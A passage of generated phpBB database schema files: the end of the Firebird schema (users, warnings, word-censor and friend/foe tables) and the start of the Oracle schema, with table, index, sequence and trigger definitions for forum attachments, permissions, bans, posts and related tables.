NULL, user_sig BLOB SUB_TYPE TEXT CHARACTER SET UTF8 DEFAULT '' NOT NULL, user_sig_bbcode_uid VARCHAR(8) CHARACTER SET NONE DEFAULT '' NOT NULL, user_sig_bbcode_bitfield VARCHAR(255) CHARACTER SET NONE DEFAULT '' NOT NULL, user_from VARCHAR(100) CHARACTER SET UTF8 DEFAULT '' NOT NULL COLLATE UNICODE, user_icq VARCHAR(15) CHARACTER SET NONE DEFAULT '' NOT NULL, user_aim VARCHAR(255) CHARACTER SET UTF8 DEFAULT '' NOT NULL COLLATE UNICODE, user_yim VARCHAR(255) CHARACTER SET UTF8 DEFAULT '' NOT NULL COLLATE UNICODE, user_msnm VARCHAR(255) CHARACTER SET UTF8 DEFAULT '' NOT NULL COLLATE UNICODE, user_jabber VARCHAR(255) CHARACTER SET UTF8 DEFAULT '' NOT NULL COLLATE UNICODE, user_website VARCHAR(200) CHARACTER SET UTF8 DEFAULT '' NOT NULL COLLATE UNICODE, user_occ BLOB SUB_TYPE TEXT CHARACTER SET UTF8 DEFAULT '' NOT NULL, user_interests BLOB SUB_TYPE TEXT CHARACTER SET UTF8 DEFAULT '' NOT NULL, user_actkey VARCHAR(32) CHARACTER SET NONE DEFAULT '' NOT NULL, user_newpasswd VARCHAR(40) CHARACTER SET UTF8 DEFAULT '' NOT NULL COLLATE UNICODE, user_form_salt VARCHAR(32) CHARACTER SET UTF8 DEFAULT '' NOT NULL COLLATE UNICODE, user_new INTEGER DEFAULT 1 NOT NULL, user_reminded INTEGER DEFAULT 0 NOT NULL, user_reminded_time INTEGER DEFAULT 0 NOT NULL );; ALTER TABLE phpbb_users ADD PRIMARY KEY (user_id);; CREATE INDEX phpbb_users_user_birthday ON phpbb_users(user_birthday);; CREATE INDEX phpbb_users_user_email_hash ON phpbb_users(user_email_hash);; CREATE INDEX phpbb_users_user_type ON phpbb_users(user_type);; CREATE UNIQUE INDEX phpbb_users_username_clean ON phpbb_users(username_clean);; CREATE GENERATOR phpbb_users_gen;; SET GENERATOR phpbb_users_gen TO 0;; CREATE TRIGGER t_phpbb_users FOR phpbb_users BEFORE INSERT AS BEGIN NEW.user_id = GEN_ID(phpbb_users_gen, 1); END;; # Table: 'phpbb_warnings' CREATE TABLE phpbb_warnings ( warning_id INTEGER NOT NULL, user_id INTEGER DEFAULT 0 NOT NULL, post_id INTEGER DEFAULT 0 NOT NULL, log_id INTEGER DEFAULT 0 NOT NULL, warning_time INTEGER DEFAULT 0 NOT NULL );; ALTER TABLE phpbb_warnings ADD PRIMARY KEY (warning_id);; CREATE GENERATOR phpbb_warnings_gen;; SET GENERATOR phpbb_warnings_gen TO 0;; CREATE TRIGGER t_phpbb_warnings FOR phpbb_warnings BEFORE INSERT AS BEGIN NEW.warning_id = GEN_ID(phpbb_warnings_gen, 1); END;; # Table: 'phpbb_words' CREATE TABLE phpbb_words ( word_id INTEGER NOT NULL, word VARCHAR(255) CHARACTER SET UTF8 DEFAULT '' NOT NULL COLLATE UNICODE, replacement VARCHAR(255) CHARACTER SET UTF8 DEFAULT '' NOT NULL COLLATE UNICODE );; ALTER TABLE phpbb_words ADD PRIMARY KEY (word_id);; CREATE GENERATOR phpbb_words_gen;; SET GENERATOR phpbb_words_gen TO 0;; CREATE TRIGGER t_phpbb_words FOR phpbb_words BEFORE INSERT AS BEGIN NEW.word_id = GEN_ID(phpbb_words_gen, 1); END;; # Table: 'phpbb_zebra' CREATE TABLE phpbb_zebra ( user_id INTEGER DEFAULT 0 NOT NULL, zebra_id INTEGER DEFAULT 0 NOT NULL, friend INTEGER DEFAULT 0 NOT NULL, foe INTEGER DEFAULT 0 NOT NULL );; ALTER TABLE phpbb_zebra ADD PRIMARY KEY (user_id, zebra_id);; PK‰† [%-ć‡Âschemas/oracle_schema.sqlnuW+A„¶/* * DO NOT EDIT THIS FILE, IT IS GENERATED * * To change the contents of this file, edit * phpBB/develop/create_schema_files.php and * run it. */ /* This first section is optional, however its probably the best method of running phpBB on Oracle. If you already have a tablespace and user created for phpBB you can leave this section commented out! The first set of statements create a phpBB tablespace and a phpBB user, make sure you change the password of the phpBB user before you run this script!! */ /* CREATE TABLESPACE "PHPBB" LOGGING DATAFILE 'E:\ORACLE\ORADATA\LOCAL\PHPBB.ora' SIZE 10M AUTOEXTEND ON NEXT 10M MAXSIZE 100M; CREATE USER "PHPBB" PROFILE "DEFAULT" IDENTIFIED BY "phpbb_password" DEFAULT TABLESPACE "PHPBB" QUOTA UNLIMITED ON "PHPBB" ACCOUNT UNLOCK; GRANT ANALYZE ANY TO "PHPBB"; GRANT CREATE SEQUENCE TO "PHPBB"; GRANT CREATE SESSION TO "PHPBB"; GRANT CREATE TABLE TO "PHPBB"; GRANT CREATE TRIGGER TO "PHPBB"; GRANT CREATE VIEW TO "PHPBB"; GRANT "CONNECT" TO "PHPBB"; COMMIT; DISCONNECT; CONNECT phpbb/phpbb_password; */ /* Table: 'phpbb_attachments' */ CREATE TABLE phpbb_attachments ( attach_id number(8) NOT NULL, post_msg_id number(8) DEFAULT '0' NOT NULL, topic_id number(8) DEFAULT '0' NOT NULL, in_message number(1) DEFAULT '0' NOT NULL, poster_id number(8) DEFAULT '0' NOT NULL, is_orphan number(1) DEFAULT '1' NOT NULL, physical_filename varchar2(255) DEFAULT '' , real_filename varchar2(255) DEFAULT '' , download_count number(8) DEFAULT '0' NOT NULL, attach_comment clob DEFAULT '' , extension varchar2(100) DEFAULT '' , mimetype varchar2(100) DEFAULT '' , filesize number(20) DEFAULT '0' NOT NULL, filetime number(11) DEFAULT '0' NOT NULL, thumbnail number(1) DEFAULT '0' NOT NULL, CONSTRAINT pk_phpbb_attachments PRIMARY KEY (attach_id) ) / CREATE INDEX phpbb_attachments_filetime ON phpbb_attachments (filetime) / CREATE INDEX phpbb_attachments_post_msg_id ON phpbb_attachments (post_msg_id) / CREATE INDEX phpbb_attachments_topic_id ON phpbb_attachments (topic_id) / CREATE INDEX phpbb_attachments_poster_id ON phpbb_attachments (poster_id) / CREATE INDEX phpbb_attachments_is_orphan ON phpbb_attachments (is_orphan) / CREATE SEQUENCE phpbb_attachments_seq / CREATE OR REPLACE TRIGGER t_phpbb_attachments BEFORE INSERT ON phpbb_attachments FOR EACH ROW WHEN ( new.attach_id IS NULL OR new.attach_id = 0 ) BEGIN SELECT phpbb_attachments_seq.nextval INTO :new.attach_id FROM dual; END; / /* Table: 'phpbb_acl_groups' */ CREATE TABLE phpbb_acl_groups ( group_id number(8) DEFAULT '0' NOT NULL, forum_id number(8) DEFAULT '0' NOT NULL, auth_option_id number(8) DEFAULT '0' NOT NULL, auth_role_id number(8) DEFAULT '0' NOT NULL, auth_setting number(2) DEFAULT '0' NOT NULL ) / CREATE INDEX phpbb_acl_groups_group_id ON phpbb_acl_groups (group_id) / CREATE INDEX phpbb_acl_groups_auth_opt_id ON phpbb_acl_groups (auth_option_id) / CREATE INDEX phpbb_acl_groups_auth_role_id ON phpbb_acl_groups (auth_role_id) / /* Table: 'phpbb_acl_options' */ CREATE TABLE phpbb_acl_options ( auth_option_id number(8) NOT NULL, auth_option varchar2(50) DEFAULT '' , is_global number(1) DEFAULT '0' NOT NULL, is_local number(1) DEFAULT '0' NOT NULL, founder_only number(1) DEFAULT '0' NOT NULL, CONSTRAINT pk_phpbb_acl_options PRIMARY KEY (auth_option_id), CONSTRAINT u_phpbb_auth_option UNIQUE (auth_option) ) / CREATE SEQUENCE phpbb_acl_options_seq / CREATE OR REPLACE TRIGGER t_phpbb_acl_options BEFORE INSERT ON phpbb_acl_options FOR EACH ROW WHEN ( new.auth_option_id IS NULL OR new.auth_option_id = 0 ) BEGIN SELECT phpbb_acl_options_seq.nextval INTO :new.auth_option_id FROM dual; END; / /* Table: 'phpbb_acl_roles' */ CREATE TABLE phpbb_acl_roles ( role_id number(8) NOT NULL, role_name varchar2(765) DEFAULT '' , role_description clob DEFAULT '' , role_type varchar2(10) DEFAULT '' , role_order number(4) DEFAULT '0' NOT NULL, CONSTRAINT pk_phpbb_acl_roles PRIMARY KEY (role_id) ) / CREATE INDEX phpbb_acl_roles_role_type ON phpbb_acl_roles (role_type) / CREATE INDEX phpbb_acl_roles_role_order ON phpbb_acl_roles (role_order) / CREATE SEQUENCE phpbb_acl_roles_seq / CREATE OR REPLACE TRIGGER t_phpbb_acl_roles BEFORE INSERT ON phpbb_acl_roles FOR EACH ROW WHEN ( new.role_id IS NULL OR new.role_id = 0 ) BEGIN SELECT phpbb_acl_roles_seq.nextval INTO :new.role_id FROM dual; END; / /* Table: 'phpbb_acl_roles_data' */ CREATE TABLE phpbb_acl_roles_data ( role_id number(8) DEFAULT '0' NOT NULL, auth_option_id number(8) DEFAULT '0' NOT NULL, auth_setting number(2) DEFAULT '0' NOT NULL, CONSTRAINT pk_phpbb_acl_roles_data PRIMARY KEY (role_id, auth_option_id) ) / CREATE INDEX phpbb_acl_roles_data_ath_op_id ON phpbb_acl_roles_data (auth_option_id) / /* Table: 'phpbb_acl_users' */ CREATE TABLE phpbb_acl_users ( user_id number(8) DEFAULT '0' NOT NULL, forum_id number(8) DEFAULT '0' NOT NULL, auth_option_id number(8) DEFAULT '0' NOT NULL, auth_role_id number(8) DEFAULT '0' NOT NULL, auth_setting number(2) DEFAULT '0' NOT NULL ) / CREATE INDEX phpbb_acl_users_user_id ON phpbb_acl_users (user_id) / CREATE INDEX phpbb_acl_users_auth_option_id ON phpbb_acl_users (auth_option_id) / CREATE INDEX phpbb_acl_users_auth_role_id ON phpbb_acl_users (auth_role_id) / /* Table: 'phpbb_banlist' */ CREATE TABLE phpbb_banlist ( ban_id number(8) NOT NULL, ban_userid number(8) DEFAULT '0' NOT NULL, ban_ip varchar2(40) DEFAULT '' , ban_email varchar2(300) DEFAULT '' , ban_start number(11) DEFAULT '0' NOT NULL, ban_end number(11) DEFAULT '0' NOT NULL, ban_exclude number(1) DEFAULT '0' NOT NULL, ban_reason varchar2(765) DEFAULT '' , ban_give_reason varchar2(765) DEFAULT '' , CONSTRAINT pk_phpbb_banlist PRIMARY KEY (ban_id) ) / CREATE INDEX phpbb_banlist_ban_end ON phpbb_banlist (ban_end) / CREATE INDEX phpbb_banlist_ban_user ON phpbb_banlist (ban_userid, ban_exclude) / CREATE INDEX phpbb_banlist_ban_email ON phpbb_banlist (ban_email, ban_exclude) / CREATE INDEX phpbb_banlist_ban_ip ON phpbb_banlist (ban_ip, ban_exclude) / CREATE SEQUENCE phpbb_banlist_seq / CREATE OR REPLACE TRIGGER t_phpbb_banlist BEFORE INSERT ON phpbb_banlist FOR EACH ROW WHEN ( new.ban_id IS NULL OR new.ban_id = 0 ) BEGIN SELECT phpbb_banlist_seq.nextval INTO :new.ban_id FROM dual; END; / /* Table: 'phpbb_bbcodes' */ CREATE TABLE phpbb_bbcodes ( bbcode_id number(4) DEFAULT '0' NOT NULL, bbcode_tag varchar2(16) DEFAULT '' , bbcode_helpline varchar2(765) DEFAULT '' , display_on_posting number(1) DEFAULT '0' NOT NULL, bbcode_match clob DEFAULT '' , bbcode_tpl clob DEFAULT '' , first_pass_match clob DEFAULT '' , first_pass_replace clob DEFAULT '' , second_pass_match clob DEFAULT '' , second_pass_replace clob DEFAULT '' , CONSTRAINT pk_phpbb_bbcodes PRIMARY KEY (bbcode_id) ) / CREATE INDEX phpbb_bbcodes_display_on_post ON phpbb_bbcodes (display_on_posting) / /* Table: 'phpbb_bookmarks' */ CREATE TABLE phpbb_bookmarks ( topic_id number(8) DEFAULT '0' NOT NULL, user_id number(8) DEFAULT '0' NOT NULL, CONSTRAINT pk_phpbb_bookmarks PRIMARY KEY (topic_id, user_id) ) / /* Table: 'phpbb_bots' */ CREATE TABLE phpbb_bots ( bot_id number(8) NOT NULL, bot_active number(1) DEFAULT '1' NOT NULL, bot_name varchar2(765) DEFAULT '' , user_id number(8) DEFAULT '0' NOT NULL, bot_agent varchar2(255) DEFAULT '' , bot_ip varchar2(255) DEFAULT '' , CONSTRAINT pk_phpbb_bots PRIMARY KEY (bot_id) ) / CREATE INDEX phpbb_bots_bot_active ON phpbb_bots (bot_active) / CREATE SEQUENCE phpbb_bots_seq / CREATE OR REPLACE TRIGGER t_phpbb_bots BEFORE INSERT ON phpbb_bots FOR EACH ROW WHEN ( new.bot_id IS NULL OR new.bot_id = 0 ) BEGIN SELECT phpbb_bots_seq.nextval INTO :new.bot_id FROM dual; END; / /* Table: 'phpbb_config' */ CREATE TABLE phpbb_config ( config_name varchar2(255) DEFAULT '' , config_value varchar2(765) DEFAULT '' , is_dynamic number(1) DEFAULT '0' NOT NULL, CONSTRAINT pk_phpbb_config PRIMARY KEY (config_name) ) / CREATE INDEX phpbb_config_is_dynamic ON phpbb_config (is_dynamic) / /* Table: 'phpbb_confirm' */ CREATE TABLE phpbb_confirm ( confirm_id char(32) DEFAULT '' , session_id char(32) DEFAULT '' , confirm_type number(3) DEFAULT '0' NOT NULL, code varchar2(8) DEFAULT '' , seed number(10) DEFAULT '0' NOT NULL, attempts number(8) DEFAULT '0' NOT NULL, CONSTRAINT pk_phpbb_confirm PRIMARY KEY (session_id, confirm_id) ) / CREATE INDEX phpbb_confirm_confirm_type ON phpbb_confirm (confirm_type) / /* Table: 'phpbb_disallow' */ CREATE TABLE phpbb_disallow ( disallow_id number(8) NOT NULL, disallow_username varchar2(765) DEFAULT '' , CONSTRAINT pk_phpbb_disallow PRIMARY KEY (disallow_id) ) / CREATE SEQUENCE phpbb_disallow_seq / CREATE OR REPLACE TRIGGER t_phpbb_disallow BEFORE INSERT ON phpbb_disallow FOR EACH ROW WHEN ( new.disallow_id IS NULL OR new.disallow_id = 0 ) BEGIN SELECT phpbb_disallow_seq.nextval INTO :new.disallow_id FROM dual; END; / /* Table: 'phpbb_drafts' */ CREATE TABLE phpbb_drafts ( draft_id number(8) NOT NULL, user_id number(8) DEFAULT '0' NOT NULL, topic_id number(8) DEFAULT '0' NOT NULL, forum_id number(8) DEFAULT '0' NOT NULL, save_time number(11) DEFAULT '0' NOT NULL, draft_subject varchar2(765) DEFAULT '' , draft_message clob DEFAULT '' , CONSTRAINT pk_phpbb_drafts PRIMARY KEY (draft_id) ) / CREATE INDEX phpbb_drafts_save_time ON phpbb_drafts (save_time) / CREATE SEQUENCE phpbb_drafts_seq / CREATE OR REPLACE TRIGGER t_phpbb_drafts BEFORE INSERT ON phpbb_drafts FOR EACH ROW WHEN ( new.draft_id IS NULL OR new.draft_id = 0 ) BEGIN SELECT phpbb_drafts_seq.nextval INTO :new.draft_id FROM dual; END; / /* Table: 'phpbb_extensions' */ CREATE TABLE phpbb_extensions ( extension_id number(8) NOT NULL, group_id number(8) DEFAULT '0' NOT NULL, extension varchar2(100) DEFAULT '' , CONSTRAINT pk_phpbb_extensions PRIMARY KEY (extension_id) ) / CREATE SEQUENCE phpbb_extensions_seq / CREATE OR REPLACE TRIGGER t_phpbb_extensions BEFORE INSERT ON phpbb_extensions FOR EACH ROW WHEN ( new.extension_id IS NULL OR new.extension_id = 0 ) BEGIN SELECT phpbb_extensions_seq.nextval INTO :new.extension_id FROM dual; END; / /* Table: 'phpbb_extension_groups' */ CREATE TABLE phpbb_extension_groups ( group_id number(8) NOT NULL, group_name varchar2(765) DEFAULT '' , cat_id number(2) DEFAULT '0' NOT NULL, allow_group number(1) DEFAULT '0' NOT NULL, download_mode number(1) DEFAULT '1' NOT NULL, upload_icon varchar2(255) DEFAULT '' , max_filesize number(20) DEFAULT '0' NOT NULL, allowed_forums clob DEFAULT '' , allow_in_pm number(1) DEFAULT '0' NOT NULL, CONSTRAINT pk_phpbb_extension_groups PRIMARY KEY (group_id) ) / CREATE SEQUENCE phpbb_extension_groups_seq / CREATE OR REPLACE TRIGGER t_phpbb_extension_groups BEFORE INSERT ON phpbb_extension_groups FOR EACH ROW WHEN ( new.group_id IS NULL OR new.group_id = 0 ) BEGIN SELECT phpbb_extension_groups_seq.nextval INTO :new.group_id FROM dual; END; / /* Table: 'phpbb_forums' */ CREATE TABLE phpbb_forums ( forum_id number(8) NOT NULL, parent_id number(8) DEFAULT '0' NOT NULL, left_id number(8) DEFAULT '0' NOT NULL, right_id number(8) DEFAULT '0' NOT NULL, forum_parents clob DEFAULT '' , forum_name varchar2(765) DEFAULT '' , forum_desc clob DEFAULT '' , forum_desc_bitfield varchar2(255) DEFAULT '' , forum_desc_options number(11) DEFAULT '7' NOT NULL, forum_desc_uid varchar2(8) DEFAULT '' , forum_link varchar2(765) DEFAULT '' , forum_password varchar2(120) DEFAULT '' , forum_style number(8) DEFAULT '0' NOT NULL, forum_image varchar2(255) DEFAULT '' , forum_rules clob DEFAULT '' , forum_rules_link varchar2(765) DEFAULT '' , forum_rules_bitfield varchar2(255) DEFAULT '' , forum_rules_options number(11) DEFAULT '7' NOT NULL, forum_rules_uid varchar2(8) DEFAULT '' , forum_topics_per_page number(4) DEFAULT '0' NOT NULL, forum_type number(4) DEFAULT '0' NOT NULL, forum_status number(4) DEFAULT '0' NOT NULL, forum_posts number(8) DEFAULT '0' NOT NULL, forum_topics number(8) DEFAULT '0' NOT NULL, forum_topics_real number(8) DEFAULT '0' NOT NULL, forum_last_post_id number(8) DEFAULT '0' NOT NULL, forum_last_poster_id number(8) DEFAULT '0' NOT NULL, forum_last_post_subject varchar2(765) DEFAULT '' , forum_last_post_time number(11) DEFAULT '0' NOT NULL, forum_last_poster_name varchar2(765) DEFAULT '' , forum_last_poster_colour varchar2(6) DEFAULT '' , forum_flags number(4) DEFAULT '32' NOT NULL, forum_options number(20) DEFAULT '0' NOT NULL, display_subforum_list number(1) DEFAULT '1' NOT NULL, display_on_index number(1) DEFAULT '1' NOT NULL, enable_indexing number(1) DEFAULT '1' NOT NULL, enable_icons number(1) DEFAULT '1' NOT NULL, enable_prune number(1) DEFAULT '0' NOT NULL, prune_next number(11) DEFAULT '0' NOT NULL, prune_days number(8) DEFAULT '0' NOT NULL, prune_viewed number(8) DEFAULT '0' NOT NULL, prune_freq number(8) DEFAULT '0' NOT NULL, CONSTRAINT pk_phpbb_forums PRIMARY KEY (forum_id) ) / CREATE INDEX phpbb_forums_left_right_id ON phpbb_forums (left_id, right_id) / CREATE INDEX phpbb_forums_forum_lastpost_id ON phpbb_forums (forum_last_post_id) / CREATE SEQUENCE phpbb_forums_seq / CREATE OR REPLACE TRIGGER t_phpbb_forums BEFORE INSERT ON phpbb_forums FOR EACH ROW WHEN ( new.forum_id IS NULL OR new.forum_id = 0 ) BEGIN SELECT phpbb_forums_seq.nextval INTO :new.forum_id FROM dual; END; / /* Table: 'phpbb_forums_access' */ CREATE TABLE phpbb_forums_access ( forum_id number(8) DEFAULT '0' NOT NULL, user_id number(8) DEFAULT '0' NOT NULL, session_id char(32) DEFAULT '' , CONSTRAINT pk_phpbb_forums_access PRIMARY KEY (forum_id, user_id, session_id) ) / /* Table: 'phpbb_forums_track' */ CREATE TABLE phpbb_forums_track ( user_id number(8) DEFAULT '0' NOT NULL, forum_id number(8) DEFAULT '0' NOT NULL, mark_time number(11) DEFAULT '0' NOT NULL, CONSTRAINT pk_phpbb_forums_track PRIMARY KEY (user_id, forum_id) ) / /* Table: 'phpbb_forums_watch' */ CREATE TABLE phpbb_forums_watch ( forum_id number(8) DEFAULT '0' NOT NULL, user_id number(8) DEFAULT '0' NOT NULL, notify_status number(1) DEFAULT '0' NOT NULL ) / CREATE INDEX phpbb_forums_watch_forum_id ON phpbb_forums_watch (forum_id) / CREATE INDEX phpbb_forums_watch_user_id ON phpbb_forums_watch (user_id) / CREATE INDEX phpbb_forums_watch_notify_stat ON phpbb_forums_watch (notify_status) / /* Table: 'phpbb_groups' */ CREATE TABLE phpbb_groups ( group_id number(8) NOT NULL, group_type number(4) DEFAULT '1' NOT NULL, group_founder_manage number(1) DEFAULT '0' NOT NULL, group_skip_auth number(1) DEFAULT '0' NOT NULL, group_name varchar2(255) DEFAULT '' , group_desc clob DEFAULT '' , group_desc_bitfield varchar2(255) DEFAULT '' , group_desc_options number(11) DEFAULT '7' NOT NULL, group_desc_uid varchar2(8) DEFAULT '' , group_display number(1) DEFAULT '0' NOT NULL, group_avatar varchar2(255) DEFAULT '' , group_avatar_type number(2) DEFAULT '0' NOT NULL, group_avatar_width number(4) DEFAULT '0' NOT NULL, group_avatar_height number(4) DEFAULT '0' NOT NULL, group_rank number(8) DEFAULT '0' NOT NULL, group_colour varchar2(6) DEFAULT '' , group_sig_chars number(8) DEFAULT '0' NOT NULL, group_receive_pm number(1) DEFAULT '0' NOT NULL, group_message_limit number(8) DEFAULT '0' NOT NULL, group_max_recipients number(8) DEFAULT '0' NOT NULL, group_legend number(1) DEFAULT '1' NOT NULL, CONSTRAINT pk_phpbb_groups PRIMARY KEY (group_id) ) / CREATE INDEX phpbb_groups_group_legend_name ON phpbb_groups (group_legend, group_name) / CREATE SEQUENCE phpbb_groups_seq / CREATE OR REPLACE TRIGGER t_phpbb_groups BEFORE INSERT ON phpbb_groups FOR EACH ROW WHEN ( new.group_id IS NULL OR new.group_id = 0 ) BEGIN SELECT phpbb_groups_seq.nextval INTO :new.group_id FROM dual; END; / /* Table: 'phpbb_icons' */ CREATE TABLE phpbb_icons ( icons_id number(8) NOT NULL, icons_url varchar2(255) DEFAULT '' , icons_width number(4) DEFAULT '0' NOT NULL, icons_height number(4) DEFAULT '0' NOT NULL, icons_order number(8) DEFAULT '0' NOT NULL, display_on_posting number(1) DEFAULT '1' NOT NULL, CONSTRAINT pk_phpbb_icons PRIMARY KEY (icons_id) ) / CREATE INDEX phpbb_icons_display_on_posting ON phpbb_icons (display_on_posting) / CREATE SEQUENCE phpbb_icons_seq / CREATE OR REPLACE TRIGGER t_phpbb_icons BEFORE INSERT ON phpbb_icons FOR EACH ROW WHEN ( new.icons_id IS NULL OR new.icons_id = 0 ) BEGIN SELECT phpbb_icons_seq.nextval INTO :new.icons_id FROM dual; END; / /* Table: 'phpbb_lang' */ CREATE TABLE phpbb_lang ( lang_id number(4) NOT NULL, lang_iso varchar2(30) DEFAULT '' , lang_dir varchar2(30) DEFAULT '' , lang_english_name varchar2(300) DEFAULT '' , lang_local_name varchar2(765) DEFAULT '' , lang_author varchar2(765) DEFAULT '' , CONSTRAINT pk_phpbb_lang PRIMARY KEY (lang_id) ) / CREATE INDEX phpbb_lang_lang_iso ON phpbb_lang (lang_iso) / CREATE SEQUENCE phpbb_lang_seq / CREATE OR REPLACE TRIGGER t_phpbb_lang BEFORE INSERT ON phpbb_lang FOR EACH ROW WHEN ( new.lang_id IS NULL OR new.lang_id = 0 ) BEGIN SELECT phpbb_lang_seq.nextval INTO :new.lang_id FROM dual; END; / /* Table: 'phpbb_log' */ CREATE TABLE phpbb_log ( log_id number(8) NOT NULL, log_type number(4) DEFAULT '0' NOT NULL, user_id number(8) DEFAULT '0' NOT NULL, forum_id number(8) DEFAULT '0' NOT NULL, topic_id number(8) DEFAULT '0' NOT NULL, reportee_id number(8) DEFAULT '0' NOT NULL, log_ip varchar2(40) DEFAULT '' , log_time number(11) DEFAULT '0' NOT NULL, log_operation clob DEFAULT '' , log_data clob DEFAULT '' , CONSTRAINT pk_phpbb_log PRIMARY KEY (log_id) ) / CREATE INDEX phpbb_log_log_type ON phpbb_log (log_type) / CREATE INDEX phpbb_log_forum_id ON phpbb_log (forum_id) / CREATE INDEX phpbb_log_topic_id ON phpbb_log (topic_id) / CREATE INDEX phpbb_log_reportee_id ON phpbb_log (reportee_id) / CREATE INDEX phpbb_log_user_id ON phpbb_log (user_id) / CREATE SEQUENCE phpbb_log_seq / CREATE OR REPLACE TRIGGER t_phpbb_log BEFORE INSERT ON phpbb_log FOR EACH ROW WHEN ( new.log_id IS NULL OR new.log_id = 0 ) BEGIN SELECT phpbb_log_seq.nextval INTO :new.log_id FROM dual; END; / /* Table: 'phpbb_login_attempts' */ CREATE TABLE phpbb_login_attempts ( attempt_ip varchar2(40) DEFAULT '' , attempt_browser varchar2(150) DEFAULT '' , attempt_forwarded_for varchar2(255) DEFAULT '' , attempt_time number(11) DEFAULT '0' NOT NULL, user_id number(8) DEFAULT '0' NOT NULL, username varchar2(765) DEFAULT '0' NOT NULL, username_clean varchar2(255) DEFAULT '0' NOT NULL ) / CREATE INDEX phpbb_login_attempts_att_ip ON phpbb_login_attempts (attempt_ip, attempt_time) / CREATE INDEX phpbb_login_attempts_att_for ON phpbb_login_attempts (attempt_forwarded_for, attempt_time) / CREATE INDEX phpbb_login_attempts_att_time ON phpbb_login_attempts (attempt_time) / CREATE INDEX phpbb_login_attempts_user_id ON phpbb_login_attempts (user_id) / /* Table: 'phpbb_moderator_cache' */ CREATE TABLE phpbb_moderator_cache ( forum_id number(8) DEFAULT '0' NOT NULL, user_id number(8) DEFAULT '0' NOT NULL, username varchar2(765) DEFAULT '' , group_id number(8) DEFAULT '0' NOT NULL, group_name varchar2(765) DEFAULT '' , display_on_index number(1) DEFAULT '1' NOT NULL ) / CREATE INDEX phpbb_moderator_cache_disp_idx ON phpbb_moderator_cache (display_on_index) / CREATE INDEX phpbb_moderator_cache_forum_id ON phpbb_moderator_cache (forum_id) / /* Table: 'phpbb_modules' */ CREATE TABLE phpbb_modules ( module_id number(8) NOT NULL, module_enabled number(1) DEFAULT '1' NOT NULL, module_display number(1) DEFAULT '1' NOT NULL, module_basename varchar2(255) DEFAULT '' , module_class varchar2(10) DEFAULT '' , parent_id number(8) DEFAULT '0' NOT NULL, left_id number(8) DEFAULT '0' NOT NULL, right_id number(8) DEFAULT '0' NOT NULL, module_langname varchar2(255) DEFAULT '' , module_mode varchar2(255) DEFAULT '' , module_auth varchar2(255) DEFAULT '' , CONSTRAINT pk_phpbb_modules PRIMARY KEY (module_id) ) / CREATE INDEX phpbb_modules_left_right_id ON phpbb_modules (left_id, right_id) / CREATE INDEX phpbb_modules_module_enabled ON phpbb_modules (module_enabled) / CREATE INDEX phpbb_modules_class_left_id ON phpbb_modules (module_class, left_id) / CREATE SEQUENCE phpbb_modules_seq / CREATE OR REPLACE TRIGGER t_phpbb_modules BEFORE INSERT ON phpbb_modules FOR EACH ROW WHEN ( new.module_id IS NULL OR new.module_id = 0 ) BEGIN SELECT phpbb_modules_seq.nextval INTO :new.module_id FROM dual; END; / /* Table: 'phpbb_poll_options' */ CREATE TABLE phpbb_poll_options ( poll_option_id number(4) DEFAULT '0' NOT NULL, topic_id number(8) DEFAULT '0' NOT NULL, poll_option_text clob DEFAULT '' , poll_option_total number(8) DEFAULT '0' NOT NULL ) / CREATE INDEX phpbb_poll_options_poll_opt_id ON phpbb_poll_options (poll_option_id) / CREATE INDEX phpbb_poll_options_topic_id ON phpbb_poll_options (topic_id) / /* Table: 'phpbb_poll_votes' */ CREATE TABLE phpbb_poll_votes ( topic_id number(8) DEFAULT '0' NOT NULL, poll_option_id number(4) DEFAULT '0' NOT NULL, vote_user_id number(8) DEFAULT '0' NOT NULL, vote_user_ip varchar2(40) DEFAULT '' ) / CREATE INDEX phpbb_poll_votes_topic_id ON phpbb_poll_votes (topic_id) / CREATE INDEX phpbb_poll_votes_vote_user_id ON phpbb_poll_votes (vote_user_id) / CREATE INDEX phpbb_poll_votes_vote_user_ip ON phpbb_poll_votes (vote_user_ip) / /* Table: 'phpbb_posts' */ CREATE TABLE phpbb_posts ( post_id number(8) NOT NULL, topic_id number(8) DEFAULT '0' NOT NULL, forum_id number(8) DEFAULT '0' NOT NULL, poster_id number(8) DEFAULT '0' NOT NULL, icon_id number(8) DEFAULT '0' NOT NULL, poster_ip varchar2(40) DEFAULT '' , post_time number(11) DEFAULT '0' NOT NULL, post_approved number(1) DEFAULT '1' NOT NULL, post_reported number(1) DEFAULT '0' NOT NULL, enable_bbcode number(1) DEFAULT '1' NOT NULL, enable_smilies number(1) DEFAULT '1' NOT NULL, enable_magic_url number(1) DEFAULT '1' NOT NULL, enable_sig number(1) DEFAULT '1' NOT NULL, post_username varchar2(765) DEFAULT '' , post_subject varchar2(765) DEFAULT '' , post_text clob DEFAULT '' , post_checksum varchar2(32) DEFAULT '' , post_attachment number(1) DEFAULT '0' NOT NULL, bbcode_bitfield varchar2(255) DEFAULT '' , bbcode_uid varchar2(8) DEFAULT '' , post_postcount number(1) DEFAULT '1' NOT NULL, post_edit_time number(11) DEFAULT '0' NOT NULL, post_edit_reason varchar2(765) DEFAULT '' , post_edit_user number(8) DEFAULT '0' NOT NULL, post_edit_count number(4) DEFAULT '0' NOT NULL, post_edit_locked number(1) DEFAULT '0' NOT NULL, CONSTRAINT pk_phpbb_posts PRIMARY KEY (post_id) ) / CREATE INDEX phpbb_posts_forum_id ON phpbb_posts (forum_id) / CREATE INDEX phpbb_posts_topic_id ON phpbb_posts (topic_id) / CREATE INDEX phpbb_posts_poster_ip ON phpbb_posts (poster_ip) / CREATE INDEX phpbb_posts_poster_id ON phpbb_posts (poster_id) / CREATE INDEX phpbb_posts_post_approved ON phpbb_posts (post_approved) / CREATE INDEX phpbb_posts_post_username ON phpbb_posts (post_username) / CREATE INDEX phpbb_posts_tid_post_time ON phpbb_posts (topic_id, post_time) / CREATE SEQUENCE phpbb_posts_seq / CREATE OR REPLACE TRIGGER t_phpbb_posts BEFORE INSERT ON phpbb_posts FOR EACH ROW WHEN ( new.post_id IS NULL OR new.post_id = 0 ) BEGIN SELECT phpbb_posts_seq.nextval INTO :new.post_id FROM dual; END; / /* Table: 'phpbb_privmsgs' */ CREATE TABLE phpbb_privmsgs ( msg_id number(8) NOT NULL, root_level number(8) DEFAULT '0' NOT NULL, author_id number(8) DEFAULT '0' NOT NULL, icon_id number(8) DEFAULT '0' NOT NULL, author_ip varchar2(40) DEFAULT '' , message_time number(11) DEFAULT '0' NOT NULL, enable_bbcode number(1) DEFAULT '1' NOT NULL, enable_smilies number(1) DEFAULT '1' 